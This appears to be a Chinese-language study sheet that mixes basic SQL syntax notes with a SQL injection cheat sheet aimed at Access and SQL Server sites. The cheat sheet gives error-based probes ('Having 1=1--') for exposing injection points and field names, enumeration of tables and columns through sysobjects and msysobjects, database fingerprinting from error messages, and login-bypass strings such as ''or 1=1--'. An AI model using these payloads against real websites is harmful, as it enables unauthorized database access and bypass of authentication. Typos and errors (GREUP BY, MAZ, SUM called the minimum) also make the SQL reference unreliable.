资源描述
Select:选取(查询列名)
From: 子句指定了select语句中字段的来源 (表段)
Where:查询条件(那个字段 通常用于缩小搜索范围 子句用于规定选择的标准。)WHERE 关键字无法与合计函数一起使用。
Like:在where下使用 意思是字段中包含 n%:N开头 %N:结尾 %N%:包含N NOT LIKE:不包含搜索项
ORDER BY 字段 升(默认)ASC/降DESC (语句用于根据指定的列对结果集进行排序。)
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。(相同的只显示一个)
语法 select 字段 from 表段 […….] union select 字段 from 表段 […….]
UNION ALL操作符用于合并两个或多个 SELECT 语句的结果集。(命令会列出所有的值)
函数
GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。
经常和 SUM()“相加函数”使用 分组相加
例如:select 字段1,SUM(字段2) from 表段 GREUP BY 字段1 “意思是把字段1分组 然后把字段1分好的各组的字段2的值相加”
HAVING 子句 必须和GROUP BY语句一起使用 用于出GROUP BY结合后的值的内容 通常用于缩小结合后搜索范围
例如:select 字段1,SUM(字段2) from 表段 GREUP BY 字段1 HAVING SUM(字段2)<>X “筛选出结合后字段2的值”
Having 1=1—爆注入点
Group by字段名Having 1=1— 爆字段
爆字段 (select top 1 字段 from 表段 where ID=N)>1
爆多表语句(select top 1 name from (select top [n第N个表] id, name from sysobjects where xtype=char(85)) T order by id desc)>1
爆多字段名 (select top 1 col_name(object_id([表名]),[第N个字段名]) from sysobjects)>1
LEN()函数返回文本字段中值的长度。
SUM() 函数返回数值列的总数(总额)。如select sum(字段) from 表段 “在标段中字段的重和”
MID( 列名 ,n,N) 函数用于从文本字段中提取字符
Access:asc(字符) SQLServer:unicode(字) 作用:返回某字符的ASCII码
COUNT(列名) 函数返回指定列的值的数目
Exist(任何东东) 是否存在 存在为真 否则为假
Exist(select * from 表名) “查询是否存在这个表“
Exist(select 列名 from 对的的表名) “查询是否存在这个列 “
(Select count(列名) form 对的的表名)>=1 “判断表段里的列段数是否>=1 查询是否存在这个列”
(select top n len(列名) from 表名)>x
数字型原型:select * from 表名 where 字段=50(一个有注入点页面内部SQL代码)
字符型原型:select * from 表名 where 字段=’字符’
搜索型原型:select * from 表名 where 字段 like ‘%关键字%’
限制返回行:select top n [PERCENE]………(N代表返回行数 假如加PERCENE 代表%比)
(1)数据记录筛选语句
sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"
sql="select * from 数据表 where字段名 like ‘%字段值%’ order by 字段名 [desc]"
sql="select top 10 * from数据表 where 字段名order by 字段名 [desc]"
sql="select * from 数据表 where字段名 in (‘值1’,’值2’,’值3’)”
sql="select * from 数据表 where字段名 between 值1 and 值2”
(2)更新数据记录语句
Sql=update 数据表 set 字段名= 字段值 where 条件表达式”
Sql=update 数据表 set 字段1=值1,字段2=值2 ........ 字段N=值N where 条件表达式”
(3)删除增长数据记录语句
Sql=”delete from 数据表 where 条件表达式”
Sql=”delete from 数据表” (将数据表所有记录删除)
Sql=”insert into 表段 values(字段1,字段2……)”
Sql=”insert into 数据表 (字段1,字段2,字段3,…..)values (值1,值2,值3,….)”
Sql=”insert into 目的数据表 select * from 源数据表”(把源数据表的记录增长到目的数据表)
(4)数据记录记录函数
AVG(字段名)得出一个表格平均值
COUNT(*|字段名) 对数据行数的记录或对某一栏有值的数据行数记录
MAZ(字段名) 取得一个表格栏最大的值
SUM(字段名) 取得一个表格栏最小的值
引用以上函数的方法:
Sql=”select sum(字段名) as 别名 from 数据表 where 条件表达式”
Set re=conn.excute(sql)
用rs(“别名”) 获取统的计值,其他函数运用同上
(5)数据表的建立和删除
CREATE TABLE 数据表名称(字段1 类型 1(长度), 字段2 类型2(长度)…….)
以上语句用于新建一个数据表,例如:CREATE TABLE tab01(name varchar(50), datetime default now())
DROP TABLE 数据表名称 (永久性删除一个数据表)
判断数据库类型
反错
Microsoft ole db provider for sol server =====SOL
Microsoft jet database engine =========acc
2
And user >0(SOL外加可以爆用户名哦)
Acc的表在msysobjects
Sol的表在 sysobjects
说以语句
And (select coune(*) from sysobjects)>0
And (select coune(*) from msysobjects)>0
‘or’=’or’
‘or 1=1--
“or 1=1—
Or 1=1—
‘or’a’=’a
“or”a”=”a
‘)or(‘a’=’a
展开阅读全文